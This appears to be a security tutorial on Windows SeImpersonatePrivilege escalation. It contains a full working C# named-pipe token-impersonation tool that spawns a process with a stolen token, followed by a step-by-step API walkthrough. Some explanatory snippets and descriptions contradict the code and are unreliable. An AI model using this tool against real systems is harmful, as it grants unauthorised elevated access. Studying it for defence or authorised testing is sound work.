SeImpersonatePrivilege

Overview

The SeImpersonatePrivilege, also known as the Impersonate a client after authentication privilege, is a Windows security privilege that allows a process to impersonate another user or security principal.

This privilege is assigned by default to the built-in Network Service, the LocalService account, the default IIS account and the default MSSQL service account.

Using SeImpersonatePrivilege for privilege escalation

If we have the SeImpersonatePrivilege privilege, we can often use the Win32 DuplicateTokenEx API to create a primary token from an impersonation token and create a new process in the context of the impersonated user.

Named pipes

Named pipes are a type of inter-process communication (IPC) mechanism available in Windows operating systems. They are used to transfer data between one or more processes on the same machine. Named pipes are a simple way to implement a client/server model of communication between processes.

Creating named pipe and impersonating token of authenticating users

This technique leverages the following below kernel32 APIs.

CreateNamedPipe - This API is used to create a named pipe, which is a communication channel that can be used for inter-process communication between two or more processes on the same machine. The named pipe can be used for both client-server and peer-to-peer communication.

ConnectNamedPipe - This API is used to establish a connection between a named pipe server and a client. The server must have already created a named pipe using CreateNamedPipe, and this API is called by the client to connect to the named pipe.

ImpersonateNamedPipeClient - This API is used to impersonate a named pipe client to perform operations on behalf of that client. It is often used in server applications that need to access resources on behalf of a client, such as file or printer access.

DuplicateTokenEx - This API is used to create a new access token that is a duplicate of an existing access token. The new access token can be used to impersonate the same user as the original token, but with different levels of access or privileges.

CreateProcessWithTokenW - This API is used to create a new process using the security context of an existing user or service account. It allows a process to be created with elevated privileges or a different set of permissions than the currently logged-in user. This API is commonly used in system services or other applications that need to run with elevated privileges.

Code example

using System;
using System.Runtime.InteropServices;
using System.Security.Principal;


namespace SeImpersonatePrivilege_Named_Pipe
{
    public class Program
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateNamedPipe(
            string lpName,
            uint dwOpenMode,
            uint dwPipeMode, 
            uint nMaxInstances, 
            uint nOutBufferSize, 
            uint nInBufferSize,
            uint nDefaultTimeOut, 
            IntPtr lpSecurityAttributes);

        public static uint PIPE_ACCESS_DUPLEX = 0x3;

        public static uint PIPE_TYPE_BYTE = 0x0;
        public static uint PIPE_WAIT = 0x0;

        [DllImport("kernel32.dll")]
        static extern bool ConnectNamedPipe(
            IntPtr hNamedPipe,
            IntPtr lpOverlapped);

        [DllImport("advapi32.dll")]
        static extern bool ImpersonateNamedPipeClient(
            IntPtr hNamedPipe);

        [DllImport("kernel32.dll")]
        static extern uint GetCurrentThreadId();

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr OpenThread(
            uint dwDesiredAccess,
            bool bInheritHandle,
            uint dwThreadId);

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool OpenThreadToken(
            IntPtr ThreadHandle,
            uint DesiredAccess,
            bool OpenAsSelf,
            out IntPtr TokenHandle);

        public static uint TOKEN_ALL_ACCESS = 0xF01FF;

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool GetTokenInformation(
            IntPtr TokenHandle, 
            uint TokenInformationClass, 
            IntPtr TokenInformation,
            int TokenInformationLength, 
            out int ReturnLength);

        [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]
        static extern bool ConvertSidToStringSid(
            IntPtr pSID, 
            out IntPtr ptrSid);

        [StructLayout(LayoutKind.Sequential)]
        public struct SID_AND_ATTRIBUTES
        {
            public IntPtr Sid;
            public int Attributes;
        }

        public struct TOKEN_USER
        {
            public SID_AND_ATTRIBUTES User;
        }


        [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public extern static bool DuplicateTokenEx(
            IntPtr hExistingToken,
            uint dwDesiredAccess,
            IntPtr lpTokenAttributes,
            uint ImpersonationLevel,
            uint TokenType,
            out IntPtr phNewToken);

        [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern bool CreateProcessWithTokenW(
            IntPtr hToken,
            UInt32 dwLogonFlags,
            string lpApplicationName,
            string lpCommandLine,
            UInt32 dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            [In] ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct STARTUPINFO
        {
            public Int32 cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        public static void Main(string[] args)
        {
            string pipeName = "";
            string cmd = "";

            if (args.Length < 1 | args.Length >= 2)
            {
                Console.WriteLine("[!] ERROR Please enter the pipe name to use as arguments. \nExample .\\SeImpersonatePrivilege_Named_Pipe.exe \\\\.\\pipe\\test\\pipe\\spoolss\n\nAdditionally specify the binary to trigger as the second argument. Default: C:\\Windows\\System32\\cmd.exe");
                return;
            }
            else if (args.Length > 1)
            {
                pipeName = args[0];
                cmd = args[1];
            }
            else
            {
                pipeName = args[0];
                cmd = "C:\\Windows\\System32\\cmd.exe";
            }

            // Create our named pipe
            IntPtr pipeHandle = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);
            Console.WriteLine("[i] Creating named pipe");
            // Connect to our named pipe and wait for incoming connections
            Console.WriteLine("[i] Waiting for client to connect to named pipe ...");
            ConnectNamedPipe(pipeHandle, IntPtr.Zero);
            // Impersonate incoming connection thread
            ImpersonateNamedPipeClient(pipeHandle);
            Console.WriteLine("[i] Impersonating named pipe client");    

            // Open handle to impersonated thread
            uint currentThreadId = GetCurrentThreadId();
            Console.WriteLine($"[i] Current thread ID: {currentThreadId}");
            IntPtr currentThreadHandle = OpenThread(TOKEN_ALL_ACCESS, false, currentThreadId);
            Console.WriteLine($"[i] Getting a handle on current thread: {currentThreadHandle.ToString()}");
            if (currentThreadHandle == IntPtr.Zero)
            {
                Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine($"\n[!] ERROR Failed getting handle on thread OpenThread: {Marshal.GetLastWin32Error()}"); Console.ResetColor();
                Console.WriteLine("\nPress enter to continue ...");
                Console.ReadLine();
                return;
            }
            IntPtr tokenHandle;
            OpenThreadToken(currentThreadHandle, TOKEN_ALL_ACCESS, false, out tokenHandle);

            if (tokenHandle == IntPtr.Zero)
            {
                Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine($"\n[!] ERROR Failed getting token handle OpenThreadToken: {Marshal.GetLastWin32Error()}"); Console.ResetColor();
                Console.WriteLine("\nPress enter to continue ...");
                Console.ReadLine();
                return;
            }

            // Show sid of user
            int TokenInfLength = 0;
            GetTokenInformation(tokenHandle, 1, IntPtr.Zero, TokenInfLength, out TokenInfLength);
            IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength);
            GetTokenInformation(tokenHandle, 1, TokenInformation, TokenInfLength, out TokenInfLength);

            TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));
            IntPtr pstr = IntPtr.Zero;
            Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
            string sidstr = Marshal.PtrToStringAuto(pstr);
            Console.WriteLine(@"[i] Found sid {0}", sidstr);

            // Duplicate the stolen token
            IntPtr systemTokenHandle = IntPtr.Zero;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, 2, 1, out systemTokenHandle);
            Console.WriteLine("[i] Duplicating the stolen token");
            if (systemTokenHandle == IntPtr.Zero)
            {
                Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine($"\n[!] ERROR DuplicateTokenEx failed to return systemTokenHandle: {Marshal.GetLastWin32Error()}"); Console.ResetColor();
                Console.WriteLine("\nPress enter to continue ...");
                Console.ReadLine();
                return;
            }

            // Spawn new process with stolen token
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            STARTUPINFO si = new STARTUPINFO();
            si.cb = Marshal.SizeOf(si);
            CreateProcessWithTokenW(systemTokenHandle, 0, null, cmd, 0, IntPtr.Zero, null, ref si, out pi);
            Console.WriteLine($"[i] Executing {cmd} with stolen token: {sidstr}");
        }
    }
}

Explaination

  1. Firstly, we will create a named pipe.

  2. Then we will connect to our named pipe and wait for another client to connect.

  3. Once another client to connects we will impersonate the in incoming connection.

  4. We'll then open a handle to the impersonated token.

  5. Duplicate the stolen token.

  6. And spawn a new process with the duplicated token.

Creating a named pipe

[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateNamedPipe(
    string lpName,
    uint dwOpenMode,
    uint dwPipeMode, 
    uint nMaxInstances, 
    uint nOutBufferSize, 
    uint nInBufferSize,
    uint nDefaultTimeOut, 
    IntPtr lpSecurityAttributes);

public static uint PIPE_ACCESS_DUPLEX = 0x3;

public static uint PIPE_TYPE_BYTE = 0x0;
public static uint PIPE_WAIT = 0x0;

```
// Create our named pipe
IntPtr pipeHandle = CreateNamedPipe(pipeName, (uint)PipeOpenModeFlags.PIPE_ACCESS_DUPLEX, (uint)PipeModeFlags.PIPE_TYPE_BYTE | (uint)PipeModeFlags.PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);
```
  • pipeName: This is a string that specifies the name of the named pipe. It must follow certain rules for naming pipes, such as starting with \\.\pipe\.

  • (uint)PipeOpenModeFlags.PIPE_ACCESS_DUPLEX: This specifies the type of access that can be requested for the pipe. In this case, PIPE_ACCESS_DUPLEX indicates that the pipe can be used for both reading and writing.

  • (uint)PipeModeFlags.PIPE_TYPE_BYTE | (uint)PipeModeFlags.PIPE_WAIT: These are flags that specify the behavior of the pipe. PIPE_TYPE_BYTE indicates that the pipe operates in byte mode (as opposed to message mode), and PIPE_WAIT indicates that the pipe is blocking (as opposed to non-blocking).

  • 10: This is the maximum number of pending connections that can be queued for this pipe.

  • 0x1000: This is the size of the input buffer for the pipe, in bytes.

  • 0x1000: This is the size of the output buffer for the pipe, in bytes.

  • 0: This is the default timeout for the pipe, in milliseconds.

  • IntPtr.Zero: This is a pointer to a security attributes structure, which is not used in this case (hence the value of zero).

Connect to our named pipe

[DllImport("kernel32.dll")]
        static extern bool ConnectNamedPipe(
            IntPtr hNamedPipe,
            IntPtr lpOverlapped);

```
// Connect to our named pipe and wait for incoming connections
Console.WriteLine("[i] Waiting for client to connect to named pipe ...");
ConnectNamedPipe(pipeHandle, IntPtr.Zero);
```
  • pipeHandle: This is a handle to the named pipe that was returned by CreateNamedPipe. It identifies the pipe that should be connected.

  • IntPtr.Zero: This is a pointer to an overlapped structure, which is not used in this case (hence the value of zero). An overlapped structure is used to perform asynchronous I/O operations, but in this case the ConnectNamedPipe function will block until a client connects to the named pipe.

Impersonate incoming connection thread

[DllImport("advapi32.dll")]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);

```
// Impersonate incoming connection thread
ImpersonateNamedPipeClient(pipeHandle);
```

Open handle to thread

[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenThreadToken(
    IntPtr ThreadHandle,
    uint DesiredAccess,
    bool OpenAsSelf,
    out IntPtr TokenHandle);

[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentThread();

public static uint TOKEN_ALL_ACCESS = 0xF01FF;

```
// Open handle to impersonated thread
IntPtr tokenHandle;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);
```
  • GetCurrentThread(): This is a function that returns a handle to the current thread. The access token associated with this thread will be opened.

  • (uint)DesiredAccess.TOKEN_ALL_ACCESS: This is a bitmask that specifies the desired access rights to the token. In this case, TOKEN_ALL_ACCESS indicates that the caller wants to have full access to the token.

  • false: This parameter specifies whether to open the primary or impersonation token. In this case, false indicates that the primary token should be opened.

  • out tokenHandle: This is an output parameter that will contain a handle to the opened access token, if the function succeeds.

Duplicate stolen token


[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public extern static bool DuplicateTokenEx(
            IntPtr hExistingToken,
            uint dwDesiredAccess,
            IntPtr lpTokenAttributes,
            uint ImpersonationLevel,
            uint TokenType,
            out IntPtr phNewToken);


```
// Duplicate the stolen token
IntPtr systemTokenHandle = IntPtr.Zero;
DuplicateTokenEx(tokenHandle, 0xF01FF, IntPtr.Zero, 2, 1, out systemTokenHandle);
```
  • tokenHandle: This is a handle to the original token object that we want to duplicate.

  • 0xF01FF: This is a combination of flags that specify the access rights that the new token should have. In this case, the flag value 0xF01FF corresponds to TOKEN_ALL_ACCESS, which grants all possible access rights to the token.

  • IntPtr.Zero: This parameter is not used in this case, so it is set to IntPtr.Zero.

  • 2: This parameter specifies the security impersonation level for the new token. A value of 2 corresponds to SecurityImpersonation, which means that the new token can be used to impersonate the security context of the original token.

  • 1: This parameter specifies the type of the new token. A value of 1 corresponds to TokenPrimary, which means that the new token is a primary token that can be used to create a new process.

  • systemTokenHandle: This is an output parameter that will contain a handle to the new token object that is created.

Spawn a new process with the duplicated token

[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(
    IntPtr hToken,
    UInt32 dwLogonFlags,
    string lpApplicationName,
    string lpCommandLine,
    UInt32 dwCreationFlags,
    IntPtr lpEnvironment,
    string lpCurrentDirectory,
    [In] ref STARTUPINFO lpStartupInfo,
    out PROCESS_INFORMATION lpProcessInformation);

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
    public Int32 cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
    public Int32 dwX;
    public Int32 dwY;
    public Int32 dwXSize;
    public Int32 dwYSize;
    public Int32 dwXCountChars;
    public Int32 dwYCountChars;
    public Int32 dwFillAttribute;
    public Int32 dwFlags;
    public Int16 wShowWindow;
    public Int16 cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
}

[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
    public IntPtr hProcess;
    public IntPtr hThread;
    public int dwProcessId;
    public int dwThreadId;
}

```
// Spawn new process with stolen token
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
CreateProcessWithTokenW(hSystemToken, 0, null, cmd, 0, IntPtr.Zero, null, ref si, out pi);
```
  • PROCESS_INFORMATION pi = new PROCESS_INFORMATION(): This is a structure that will contain information about the new process that is created.

  • STARTUPINFO si = new STARTUPINFO(): This is a structure that contains information about how the new process should be started.

  • si.cb = Marshal.SizeOf(si): This line sets the cb field of the STARTUPINFO structure to the size of the STARTUPINFO structure itself. This is required by the CreateProcessWithTokenW function.

  • CreateProcessWithTokenW(sysToken, 0, null, "C:\\Windows\\System32\\cmd.exe", 0, IntPtr.Zero, null, ref si, out pi): This is the function that creates the new process. Here is an explanation of the parameters:

    • sysToken: This is the access token that should be used to create the new process. The token must have the TOKEN_DUPLICATE and TOKEN_IMPERSONATE access rights.

    • 0: This parameter is not used in this case, so it is set to zero.

    • null: This parameter specifies the name of the application to be executed. In this case, no application name is specified, so this parameter is set to null.

    • "C:\\Windows\\System32\\cmd.exe": This parameter specifies the command line to be executed. In this case, the cmd.exe command shell is executed.

    • 0: This parameter specifies the creation flags for the new process. In this case, no special flags are specified, so this parameter is set to zero.

    • IntPtr.Zero: This parameter specifies the environment block for the new process. In this case, the default environment block is used, so this parameter is set to IntPtr.Zero.

    • null: This parameter specifies the current directory for the new process. In this case, the default current directory is used, so this parameter is set to null.

    • ref si: This parameter is a reference to the STARTUPINFO structure that was created earlier. It specifies how the new process should be started.

    • out pi: This parameter is a reference to the PROCESS_INFORMATION structure that was created earlier. It will contain information about the new process that is created.

Last updated